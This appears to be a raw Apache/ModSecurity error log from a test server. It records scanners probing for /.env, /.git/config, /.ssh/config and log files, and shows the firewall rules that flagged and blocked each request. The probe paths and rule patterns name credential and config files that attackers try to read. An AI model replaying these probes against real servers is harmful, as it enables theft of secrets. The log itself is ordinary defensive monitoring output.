[Tue May 27 03:55:11.355562 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/apache2/access.log&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukoAAAABA&quot;]
[Tue May 27 03:55:11.355866 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/apache2/access.log&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukoAAAABA&quot;]
[Tue May 27 03:55:11.356021 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/apache2/access.log&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukoAAAABA&quot;]
[Tue May 27 03:55:11.378174 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/apache2/error.log&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukoQAAABA&quot;]
[Tue May 27 03:55:11.378498 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/apache2/error.log&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukoQAAABA&quot;]
[Tue May 27 03:55:11.378655 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/apache2/error.log&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukoQAAABA&quot;]
[Tue May 27 03:55:11.400805 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;.ssh/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/config found within REQUEST_FILENAME: /.ssh/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/config&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukogAAABA&quot;]
[Tue May 27 03:55:11.401003 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/config&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukogAAABA&quot;]
[Tue May 27 03:55:11.401189 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/config&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukogAAABA&quot;]
[Tue May 27 03:55:11.423396 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;.ssh/known_hosts&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/known_hosts found within REQUEST_FILENAME: /.ssh/known_hosts&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/known_hosts&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukowAAABA&quot;]
[Tue May 27 03:55:11.423608 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/known_hosts&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukowAAABA&quot;]
[Tue May 27 03:55:11.423767 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/known_hosts&quot;] [unique_id &quot;aDUbf34CeMAvTJAIhKukowAAABA&quot;]
[Tue May 27 15:49:31.936330 2025] [:error] [pid 3435316] [client 93.123.109.7:50208] [client 93.123.109.7] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDXC6yw1TIthxW7dZehD_wAAAA8&quot;]
[Tue May 27 15:49:31.936657 2025] [:error] [pid 3435316] [client 93.123.109.7:50208] [client 93.123.109.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDXC6yw1TIthxW7dZehD_wAAAA8&quot;]
[Tue May 27 15:49:31.936826 2025] [:error] [pid 3435316] [client 93.123.109.7:50208] [client 93.123.109.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDXC6yw1TIthxW7dZehD_wAAAA8&quot;]
[Wed May 28 01:46:26.003922 2025] [:error] [pid 3454383] [client 45.148.10.80:35258] [client 45.148.10.80] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDZO0uALuFgbTPktN9jj9wAAAAE&quot;]
[Wed May 28 01:46:26.005131 2025] [:error] [pid 3454383] [client 45.148.10.80:35258] [client 45.148.10.80] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDZO0uALuFgbTPktN9jj9wAAAAE&quot;]
[Wed May 28 01:46:26.005326 2025] [:error] [pid 3454383] [client 45.148.10.80:35258] [client 45.148.10.80] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDZO0uALuFgbTPktN9jj9wAAAAE&quot;]
[Wed May 28 22:47:27.128230 2025] [:error] [pid 3459459] [client 45.148.10.80:57948] [client 45.148.10.80] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDd2X6kEvPIUf5oXHHLAQQAAABs&quot;]
[Wed May 28 22:47:27.129254 2025] [:error] [pid 3459459] [client 45.148.10.80:57948] [client 45.148.10.80] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDd2X6kEvPIUf5oXHHLAQQAAABs&quot;]
[Wed May 28 22:47:27.129427 2025] [:error] [pid 3459459] [client 45.148.10.80:57948] [client 45.148.10.80] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDd2X6kEvPIUf5oXHHLAQQAAABs&quot;]
[Fri May 30 01:52:08.299608 2025] [:error] [pid 3511261] [client 45.148.10.80:38368] [client 45.148.10.80] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDjzKHBrvn1Ak3ZNnjtjCwAAAAY&quot;]
[Fri May 30 01:52:08.299877 2025] [:error] [pid 3511261] [client 45.148.10.80:38368] [client 45.148.10.80] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDjzKHBrvn1Ak3ZNnjtjCwAAAAY&quot;]
[Fri May 30 01:52:08.300090 2025] [:error] [pid 3511261] [client 45.148.10.80:38368] [client 45.148.10.80] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDjzKHBrvn1Ak3ZNnjtjCwAAAAY&quot;]
[Sat May 31 10:20:09.936462 2025] [:error] [pid 3535554] [client 45.144.212.129:60446] [client 45.144.212.129] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDq7ueXCl39lWlOoO04ffAAAAAQ&quot;]
[Sat May 31 10:20:09.939559 2025] [:error] [pid 3535554] [client 45.144.212.129:60446] [client 45.144.212.129] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDq7ueXCl39lWlOoO04ffAAAAAQ&quot;]
[Sat May 31 10:20:09.939739 2025] [:error] [pid 3535554] [client 45.144.212.129:60446] [client 45.144.212.129] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aDq7ueXCl39lWlOoO04ffAAAAAQ&quot;]
[Sat May 31 11:36:27.330506 2025] [:error] [pid 3536289] [client 93.123.109.101:58038] [client 93.123.109.101] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aDrNm6G7kNEKUqP7i5KqRwAAAAs&quot;]
[Sat May 31 11:36:27.330767 2025] [:error] [pid 3536289] [client 93.123.109.101:58038] [client 93.123.109.101] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aDrNm6G7kNEKUqP7i5KqRwAAAAs&quot;]
[Sat May 31 11:36:27.330943 2025] [:error] [pid 3536289] [client 93.123.109.101:58038] [client 93.123.109.101] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aDrNm6G7kNEKUqP7i5KqRwAAAAs&quot;]
[Sat May 31 11:36:27.625313 2025] [:error] [pid 3535581] [client 93.123.109.101:58048] [client 93.123.109.101] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aDrNm8DOx7Z0Y9wu01FRpQAAAAU&quot;]
[Sat May 31 11:36:27.625564 2025] [:error] [pid 3535581] [client 93.123.109.101:58048] [client 93.123.109.101] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aDrNm8DOx7Z0Y9wu01FRpQAAAAU&quot;]
